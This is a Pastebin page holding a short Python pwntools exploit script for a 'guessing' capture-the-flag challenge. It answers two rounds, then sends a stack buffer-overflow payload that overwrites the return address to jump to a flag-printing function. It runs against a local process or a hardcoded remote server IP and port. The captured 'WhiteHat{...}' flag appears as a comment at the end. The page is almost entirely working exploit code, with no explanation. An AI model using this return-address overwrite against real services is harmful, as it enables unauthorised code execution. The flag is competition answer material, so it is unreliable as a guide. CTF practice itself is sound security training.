Advertisement
CuocSong

guessing.py

Mar 28th, 2017
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.73 KB | None | 0 0
  1. from pwn import *
  2. from termcolor import colored, cprint
  3. import random
  4. import sys
  5.  
  6. if len(sys.argv)>1:
  7.     # python guessing.py guessing
  8.     r = process(sys.argv[1])
  9.     print colored("attach %d\n" % r.pid,"yellow")
  10.     raw_input("debug?")
  11. else:
  12.     HOST = '103.237.98.32'
  13.     PORT = 25032
  14.     r = remote(HOST,PORT)
  15.  
  16. FLAG = 0x080487C5
  17.  
  18. def hackIt():
  19.     payload = "A"*4 # ebp-0x4
  20.     payload += "B"*8 # .text:08048640                 and     esp, 0FFFFFFF0h (stack alignment)
  21.     payload += "C"*4 # ebp
  22.     payload += p32(FLAG) # return
  23.    
  24.     r.recvuntil("Round 1: ")
  25.     r.sendline("1")
  26.     r.recvuntil("Round 2: ")
  27.     r.sendline("2")
  28.     r.recvuntil("Round 3: ")
  29.     r.sendline(payload)
  30.     r.interactive()
  31. hackIt()
  32. # WhiteHat{7c952a8d157bbeb44dcc7ab9d9c6ba78e40b96bd}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement